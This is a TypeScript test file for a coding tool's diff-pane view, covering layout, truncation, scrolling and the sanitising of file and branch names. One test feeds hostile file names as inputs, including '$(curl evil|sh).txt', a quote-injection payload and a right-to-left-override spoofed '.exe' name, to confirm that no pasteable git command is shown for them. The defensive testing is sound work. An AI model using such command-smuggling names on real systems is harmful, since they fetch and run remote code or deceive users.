spacehub

surshar / claude-code

Claude Code is an agentic coding tool that lives in your terminal, understands your codebase, and helps you code faster by executing routine tasks, explaining complex code, and handling git workflows - all through natural language commands.

Built by Anthropic · github.com/anthropics

claude-code / mods / diff / tests / views / pane-view.test.ts
620 lines · 18.1 KBRaw
1import { describe, expect, test, tier } from 'claude-code/testing'
2
3import type Git from '../../hooks/git'
4import Limits from '../../hooks/limits'
5import Names from '../../hooks/names'
6import PaneState from '../../hooks/pane-state'
7import Views from '../../hooks/views'
8import Fixtures from '../fixtures'
9
10tier('builtin')
11
12describe('pane-view', () => {
13 const dataOf = (
14 files: readonly Git.FileStat[],
15 overrides: Partial<Git.DiffData> = {},
16 ): Git.DiffData => ({
17 repository: Fixtures.CHECKOUT,
18 mode: 'session',
19 stats: { ...Fixtures.TOTALS, filesCount: files.length },
20 files,
21 source: { kind: 'working-tree', base: 'HEAD' },
22 isUnborn: false,
23 baseRef: 'HEAD',
24 stalePaths: [],
25 isUntrackedWithheld: false,
26 ...overrides,
27 })
28
29 const modelOf = (
30 overrides: Partial<PaneState.PaneModel>,
31 ): PaneState.PaneModel => ({
32 ...PaneState.INITIAL_MODEL,
33 hasSettled: true,
34 place: Fixtures.WHOLE_PLACE,
35 ...overrides,
36 })
37
38 const EARLIER = [Fixtures.rowOf('old.ts', { isPreSession: true })]
39
40 test('docked: header, rows, every body, the earlier line', async ($, on) => {
41 const tree = await Fixtures.dockedPane(
42 $,
43 on,
44 modelOf({
45 data: dataOf([
46 Fixtures.rowOf('src/a.ts'),
47 Fixtures.rowOf('src/b.ts'),
48 Fixtures.rowOf('img.png', { isBinary: true }),
49 Fixtures.rowOf('notes.txt', {
50 added: 0,
51 removed: 0,
52 isUntracked: true,
53 }),
54 Fixtures.rowOf('test/a.test.ts'),
55 Fixtures.rowOf('old.ts', { isPreSession: true }),
56 ]),
57 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'src/b.ts'),
58 }),
59 )
60
61 const text = Fixtures.jsonOf(tree)
62
63 expect(Fixtures.isDrawn(tree), 'under the node cap').toBe(true)
64 expect(text).toContain('5 files')
65 expect(text).toContain('Binary file - cannot display diff')
66 expect(text).toContain('New file not yet staged.')
67 expect(text).toContain('1 test/generated (show)')
68 expect(text).not.toContain('test/a.test.ts')
69 expect(text).toContain('+1 file edited before this session (show)')
70 expect(text).not.toContain('❯')
71
72 expect(Fixtures.codesIn(tree).map(code => code.path)).toEqual([
73 'src/a.ts',
74 'src/b.ts',
75 ])
76
77 expect(text).toContain('"key":"ask:src/b.ts"')
78
79 expect(
80 Fixtures.elementIn(tree, { type: 'Button', name: 'base' })?.props,
81 "the built-in's base chord on an empty Button",
82 ).toMatchObject({ action: 'app:cycleDiffBase', label: '' })
83 })
84
85 test('untracked withheld: the rows stay, the pane says so', async ($, on) => {
86 const draw = Fixtures.docksPane($, on)
87 const words = { words: PaneState.INITIAL_MODEL.words }
88
89 const listed = Fixtures.jsonOf(
90 await draw(
91 modelOf({
92 data: dataOf([Fixtures.rowOf('src/a.ts')], {
93 isUntrackedWithheld: true,
94 }),
95 }),
96 ),
97 )
98
99 const bare = Fixtures.stringsOf(
100 await draw(modelOf({ data: dataOf([], { isUntrackedWithheld: true }) })),
101 ).join('')
102
103 expect(listed).toContain('1 file')
104 expect(listed).toContain('"label":"src/a.ts')
105 expect(listed).toContain(Names.untrackedWithheldTextOf(words))
106 expect(bare).toContain('No tracked changes')
107 expect(bare).not.toContain('No changes this session')
108 expect(bare).toContain(Names.untrackedWithheldTextOf(words))
109 })
110
111 test('a file at the line cap draws under the tree caps', async ($, on) => {
112 const lines = Array.from({ length: Limits.MAX_LINES_PER_FILE }, (_, at) =>
113 at % 2 === 0 ? `-const value${at} = ${at}` : `+const value${at} = 0`,
114 )
115
116 const tree = await Fixtures.dockedPane(
117 $,
118 on,
119 modelOf({
120 data: dataOf([Fixtures.rowOf('src/long.ts')]),
121 bodies: Fixtures.bodiesOf(
122 {
123 hunks: [{ oldStart: 1, newStart: 1, lines }],
124 isTruncated: true,
125 isLarge: false,
126 },
127 'src/long.ts',
128 ),
129 }),
130 )
131
132 expect(
133 Fixtures.isDrawn(tree),
134 'under the node, string and text caps the engine holds a tree to',
135 ).toBe(true)
136
137 expect(Fixtures.codesIn(tree).length).toBeGreaterThan(0)
138
139 expect(Fixtures.jsonOf(tree)).toContain(
140 '… diff truncated (exceeded 400 line limit)',
141 )
142 })
143
144 test("placeholders in the built-in's words", async ($, on) => {
145 const draw = Fixtures.docksPane($, on)
146
147 const untracked = Fixtures.jsonOf(
148 await draw(
149 modelOf({
150 data: dataOf([Fixtures.rowOf('notes.txt', { isUntracked: true })]),
151 }),
152 ),
153 )
154
155 const loading = Fixtures.jsonOf(
156 await draw(modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) })),
157 )
158
159 expect(untracked).toContain('New file not yet staged.')
160 expect(untracked).not.toContain('"label":"ask"')
161 expect(untracked).toContain('Run `git add :/notes.txt` to see line counts.')
162 expect(untracked).not.toContain("':/")
163 expect(loading).toContain('Loading diff…')
164
165 expect(
166 Fixtures.stringsOf(await draw(modelOf({ data: null }))).join(''),
167 ).toContain("Couldn't read the git diff — it will retry on the next change")
168
169 expect(
170 Fixtures.jsonOf(await draw(modelOf({ isOutsideRepository: true }))),
171 ).toContain("isn't in a git repository")
172 })
173
174 test('a picked turn draws its files under the turn line', async ($, on) => {
175 const text = Fixtures.jsonOf(
176 await Fixtures.dockedPane(
177 $,
178 on,
179 modelOf({
180 data: dataOf([]),
181 source: { kind: 'turn', index: 2 },
182 turns: [Fixtures.TURN_TWO],
183 }),
184 ),
185 )
186
187 expect(text).toContain('Turn 2 \\"fix it\\"')
188 expect(text).toContain('/r/a.ts')
189 expect(text).toContain('T2')
190 expect(text).toContain('… diff truncated (exceeded 400 line limit)')
191 })
192
193 test('a long body splits into leaves under their cap', async ($, on) => {
194 const tree = await Fixtures.dockedPane(
195 $,
196 on,
197 modelOf({
198 data: dataOf([Fixtures.rowOf('src/long-lines.ts')]),
199 bodies: Fixtures.bodiesOf(Fixtures.bigBodyOf(), 'src/long-lines.ts'),
200 }),
201 )
202
203 const codes = Fixtures.codesIn(tree)
204 const chars = codes.reduce((sum, code) => sum + code.source.length, 0)
205
206 expect(codes.length).toBeGreaterThan(1)
207 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
208
209 expect(
210 codes.every(code => code.source.length <= Views.MAX_CODE_CHARS),
211 ).toBe(true)
212
213 expect(chars).toBeLessThanOrEqual(Views.MAX_BODY_CHARS)
214 })
215
216 test('the window draws what is in view, a scroll the rest', async ($, on) => {
217 const draw = Fixtures.docksPane($, on)
218
219 const model = modelOf({
220 data: dataOf([Fixtures.rowOf('a.ts'), Fixtures.rowOf('b.ts')]),
221 bodies: new Map<string, Git.FileHunks>([
222 ['a.ts', Fixtures.bigBodyOf()],
223 ['b.ts', Fixtures.SMALL_BODY],
224 ]),
225 place: { ...Fixtures.WHOLE_PLACE, rows: Fixtures.BODY_ROWS },
226 })
227
228 const top = await draw(model)
229 const { tops } = Views.bodyLayoutOf(model, Views.dockPlanOf(model))
230
231 const scrolled = await draw({
232 ...model,
233 place: { ...model.place, top: tops.get('b.ts') ?? 0 },
234 })
235
236 expect(Fixtures.isDrawn(top), 'the engine took the tree').toBe(true)
237 expect(Fixtures.codesIn(top).map(code => code.path)).toEqual(['a.ts'])
238 expect(Fixtures.jsonOf(top)).toContain('"key":"file:b.ts"')
239
240 expect(
241 Fixtures.codesIn(scrolled).map(code => code.path),
242 "a.ts's tail, then b.ts whole (the window stops at the body's end)",
243 ).toEqual(['a.ts', 'b.ts'])
244
245 expect(Fixtures.jsonOf(scrolled), 'the list stays').toContain(
246 '"key":"file:a.ts"',
247 )
248 })
249
250 test('no newline or escape in a name reaches the tree', async ($, on) => {
251 const tree = await Fixtures.dockedPane(
252 $,
253 on,
254 modelOf({
255 data: dataOf([
256 Fixtures.rowOf('evil\nfake.ts +9 -9'),
257 Fixtures.rowOf('esc\u001bname.ts', { renamedFrom: 'old\u001b.ts' }),
258 ]),
259 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'evil\nfake.ts +9 -9'),
260 }),
261 )
262
263 const text = Fixtures.jsonOf(tree)
264
265 expect(Fixtures.stringsOf(tree).some(each => each.includes('\u001b'))).toBe(
266 false,
267 )
268
269 expect(text).not.toContain('\\u001b')
270 expect(text).not.toContain('evil\\nfake')
271 expect(text).toContain('evilfake.ts +9 -9')
272 expect(text).toContain('old.ts => escname.ts')
273 })
274
275 test('a path past the string cap is cut in the header', async ($, on) => {
276 const longPath = `${'deep/'.repeat(Fixtures.LONG_PATH_SEGMENTS)}file.ts`
277
278 const tree = await Fixtures.dockedPane(
279 $,
280 on,
281 modelOf({
282 data: dataOf([
283 Fixtures.rowOf(longPath, { renamedFrom: `${longPath}.old` }),
284 ]),
285 }),
286 )
287
288 expect(Fixtures.isDrawn(tree), 'every string under the cap').toBe(true)
289 expect(Fixtures.jsonOf(tree)).toContain('file.ts')
290 })
291
292 test('a base branch name loses its format characters', async ($, on) => {
293 const draw = Fixtures.docksPane($, on)
294
295 const compared = Fixtures.jsonOf(
296 await draw(
297 modelOf({
298 requestedMode: 'branch',
299 data: { ...dataOf([Fixtures.rowOf('a.ts')]), ...Fixtures.VS_SPOOFED },
300 }),
301 ),
302 )
303
304 const empty = Fixtures.jsonOf(
305 await draw(
306 modelOf({
307 requestedMode: 'branch',
308 data: {
309 ...dataOf([]),
310 ...Fixtures.VS_SPOOFED,
311 stats: Fixtures.NO_STATS,
312 },
313 }),
314 ),
315 )
316
317 expect(compared).toContain('branch vs maniam')
318 expect(empty).toContain('No changes vs maniam')
319 expect(compared + empty).not.toContain('‮')
320 })
321
322 test('only a plainly safe name gets a git add to paste', async ($, on) => {
323 const draw = Fixtures.docksPane($, on)
324
325 const untrackedOf = (path: string) =>
326 draw(
327 modelOf({
328 data: dataOf([Fixtures.rowOf(path, { isUntracked: true })]),
329 }),
330 )
331
332 const hintOf = async (path: string) =>
333 Fixtures.stringsOf(await untrackedOf(path)).join('\n')
334
335 const hints: string[] = []
336
337 for (const path of [
338 '$(curl evil|sh).txt',
339 "it's.txt",
340 "x';payload;'",
341 'a&b.txt',
342 ]) {
343 hints.push(await hintOf(path))
344 }
345
346 const reversed = await untrackedOf('invoice‮txt.exe')
347
348 expect(await hintOf('src/café-2.txt')).toContain(
349 'Run `git add :/src/café-2.txt` to see line counts.',
350 )
351
352 expect(
353 hints.every(
354 hint =>
355 hint.includes('Stage it with git add to see line counts.') &&
356 !hint.includes('Run `git add'),
357 ),
358 ).toBe(true)
359
360 expect(Fixtures.stringsOf(reversed).join('\n')).not.toContain(
361 'Run `git add',
362 )
363
364 expect(Fixtures.jsonOf(reversed)).toContain('"label":"invoicetxt.exe')
365 expect(Fixtures.jsonOf(reversed)).not.toContain('‮')
366 })
367
368 test("docked: the built-in's blank top row, last column", async ($, on) => {
369 const tree = await Fixtures.dockedPane(
370 $,
371 on,
372 modelOf({
373 data: dataOf([Fixtures.rowOf('src/a.ts')]),
374 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts'),
375 }),
376 )
377
378 const rule = '─'.repeat(
379 Math.max(0, Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS),
380 )
381
382 expect(tree).toMatchObject({
383 type: 'Box',
384 props: {
385 paddingTop: Limits.PANE_TOP_PAD_ROWS,
386 paddingRight: Limits.PANE_RIGHT_PAD_COLUMNS,
387 },
388 })
389
390 expect(Fixtures.stringsOf(tree)).toContain(rule)
391 expect(Fixtures.stringsOf(tree)).not.toContain(`${rule}─`)
392 })
393
394 test("docked rows follow the built-in's, its hunks after", async ($, on) => {
395 expect(
396 Fixtures.rowShapesOf(
397 await Fixtures.dockedPane(
398 $,
399 on,
400 modelOf({
401 data: dataOf([Fixtures.rowOf('src/a.ts'), Fixtures.rowOf('b.ts')]),
402 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'src/a.ts', 'b.ts'),
403 }),
404 ),
405 ),
406 ).toEqual([
407 '',
408 'b.ts'.padEnd(
409 Fixtures.COLUMNS - Limits.PANE_RIGHT_PAD_COLUMNS - '+2 -1'.length,
410 ),
411 'rule',
412 'ask',
413 'rule',
414 '',
415 'blank',
416 'rule',
417 'ask',
418 'rule',
419 '',
420 'blank',
421 ])
422 })
423
424 test("an empty state on the built-in's row, foot below", async ($, on) => {
425 const [body] = Fixtures.childrenOf(
426 await Fixtures.dockedPane($, on, modelOf({ data: dataOf(EARLIER) })),
427 )
428
429 const [header, pad, middle, foot, ...more] = Fixtures.childrenOf(body)
430 const [spacer, headline, ...under] = Fixtures.childrenOf(middle)
431 const aboveMiddle = Limits.PANE_TOP_PAD_ROWS + 2
432
433 expect(body).toMatchObject({
434 props: { height: Fixtures.BODY_ROWS - Limits.PANE_TOP_PAD_ROWS },
435 })
436
437 expect(Fixtures.stringsOf(header)).toEqual([])
438 expect(Fixtures.jsonOf(header)).not.toContain('✕')
439
440 expect(
441 Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
442 ).toBeDefined()
443
444 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
445 expect(middle).toMatchObject({ props: { alignItems: 'center' } })
446
447 expect(spacer).toMatchObject({
448 type: 'Box',
449 props: { height: Fixtures.BUILTIN_HEADLINE_ROW - aboveMiddle },
450 })
451
452 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
453 expect(under).toEqual([])
454 expect(foot).toMatchObject({ props: { marginTop: 1, paddingBottom: 1 } })
455
456 expect(Fixtures.jsonOf(foot)).toContain(
457 '"label":"+1 file edited before this session (show)"',
458 )
459
460 expect(more).toEqual([])
461 })
462
463 test('shown files or too few rows stack the empty state', async ($, on) => {
464 let rows = Fixtures.BODY_ROWS
465
466 Fixtures.drawsPane(on, kit =>
467 Views.paneView(
468 { ...kit, rows },
469 modelOf({
470 data: dataOf(EARLIER),
471 isPreSessionShown: rows === Fixtures.BODY_ROWS,
472 }),
473 Fixtures.DOCK_SEAT,
474 ),
475 )
476
477 const shown = await $.ui.render(Fixtures.VIEW_PANE)
478
479 rows = Fixtures.CRAMPED_ROWS
480
481 const cramped = await $.ui.render(Fixtures.VIEW_PANE)
482
483 const [header, pad, headline, blank, earlier, gap, legend, first] =
484 Fixtures.childrenOf(Fixtures.childrenOf(shown)[0])
485
486 expect(Fixtures.jsonOf(shown)).not.toContain('"alignItems":"center"')
487 expect(Fixtures.jsonOf(cramped)).not.toContain('"alignItems":"center"')
488
489 expect(
490 Fixtures.elementIn(header, { type: 'Button', name: 'base' }),
491 ).toBeDefined()
492
493 expect(pad).toMatchObject({ type: 'Box', props: { height: 1 } })
494 expect(Fixtures.stringsOf(headline)).toEqual(['No changes this session'])
495 expect(blank).toMatchObject({ type: 'Box', props: { height: 1 } })
496
497 expect(Fixtures.jsonOf(earlier)).toContain(
498 '"label":"+1 file edited before this session (hide)"',
499 )
500
501 expect(gap).toMatchObject({ type: 'Box', props: { height: 1 } })
502 expect(Fixtures.stringsOf(legend)).toContain('old.ts')
503 expect(Fixtures.rowShapeOf(first), "the first body's top rule").toBe('rule')
504 })
505
506 test("shown pre-session rows land on the built-in's rows", async ($, on) => {
507 expect(
508 Fixtures.rowShapesOf(
509 await Fixtures.dockedPane(
510 $,
511 on,
512 modelOf({
513 data: dataOf([
514 Fixtures.rowOf('config.toml', { isPreSession: true }),
515 Fixtures.rowOf('setup.cfg', { isPreSession: true }),
516 ]),
517 isPreSessionShown: true,
518 bodies: Fixtures.bodiesOf(
519 Fixtures.SMALL_BODY,
520 'config.toml',
521 'setup.cfg',
522 ),
523 }),
524 ),
525 ).slice(1),
526 ).toEqual([
527 'blank',
528 'No changes this session',
529 'blank',
530 '+2 files edited before this session (hide)',
531 'blank',
532 'config.toml+2 -1',
533 'setup.cfg+2 -1',
534 'rule',
535 'ask',
536 'rule',
537 '',
538 'rule',
539 'ask',
540 'rule',
541 '',
542 ])
543 })
544
545 test('inline: title, rows round the pick, then one body', async ($, on) => {
546 const files = Array.from(
547 { length: Limits.MAX_VISIBLE_FILES + 2 },
548 (_, at) => Fixtures.rowOf(`f${at}.ts`),
549 )
550
551 const draw = Fixtures.docksPane($, on, { placement: 'inline' })
552
553 const listing = modelOf({
554 data: dataOf(files),
555 selectedPath: 'f6.ts',
556 isFullscreen: false,
557 bodies: Fixtures.bodiesOf(Fixtures.SMALL_BODY, 'f0.ts', 'f6.ts'),
558 })
559
560 const tree = await draw(listing)
561 const text = Fixtures.jsonOf(tree)
562 const detail = await draw({ ...listing, dialogView: 'detail' })
563
564 expect(text).toContain('Uncommitted changes')
565 expect(text).toContain('(git diff HEAD)')
566 expect(text).toContain('"label":"❯ f6.ts"')
567 expect(text).toContain('"autoFocus":true')
568 expect(text).toContain(' ↑ 2 more files')
569 expect(text).not.toContain('"label":" f0.ts"')
570 expect(Fixtures.codesIn(tree)).toEqual([])
571 expect(Fixtures.codesIn(detail).map(code => code.path)).toEqual(['f6.ts'])
572 expect(Fixtures.jsonOf(detail)).not.toContain('"label":"❯ f6.ts"')
573 expect(Fixtures.jsonOf(detail)).toContain('Esc to back')
574
575 expect(tree).toMatchObject({
576 type: 'Box',
577 props: { flexDirection: 'column' },
578 })
579
580 expect(text).not.toContain('"paddingTop"')
581 })
582
583 test('inline, too narrow: the wider-terminal line alone', async ($, on) => {
584 expect(
585 Fixtures.stringsOf(
586 await Fixtures.docksPane($, on, Fixtures.NARROW_SEAT)(modelOf({})),
587 ),
588 ).toEqual([Names.RESIZE_TERMINAL_TEXT])
589 })
590
591 test('the header row carries its controls in every state', async ($, on) => {
592 const draw = Fixtures.docksPane($, on)
593
594 const models = [
595 modelOf({ data: dataOf([Fixtures.rowOf('src/a.ts')]) }),
596 modelOf({ data: dataOf([]) }),
597 modelOf({
598 data: dataOf([]),
599 source: { kind: 'turn', index: 2 },
600 turns: [Fixtures.TURN_TWO],
601 }),
602 ]
603
604 for (const model of models) {
605 const tree = await draw(model)
606 const [header] = Fixtures.childrenOf(Fixtures.childrenOf(tree)[0])
607 const isTurn = model.source.kind === 'turn'
608
609 expect(Fixtures.isDrawn(tree), 'the engine took the tree').toBe(true)
610 expect(Fixtures.jsonOf(tree)).not.toContain('"label":"✕"')
611
612 expect(
613 Fixtures.elementIn(header, {
614 type: isTurn ? 'Select' : 'Button',
615 name: isTurn ? 'source' : 'base',
616 }),
617 ).toBeDefined()
618 }
619 })
620})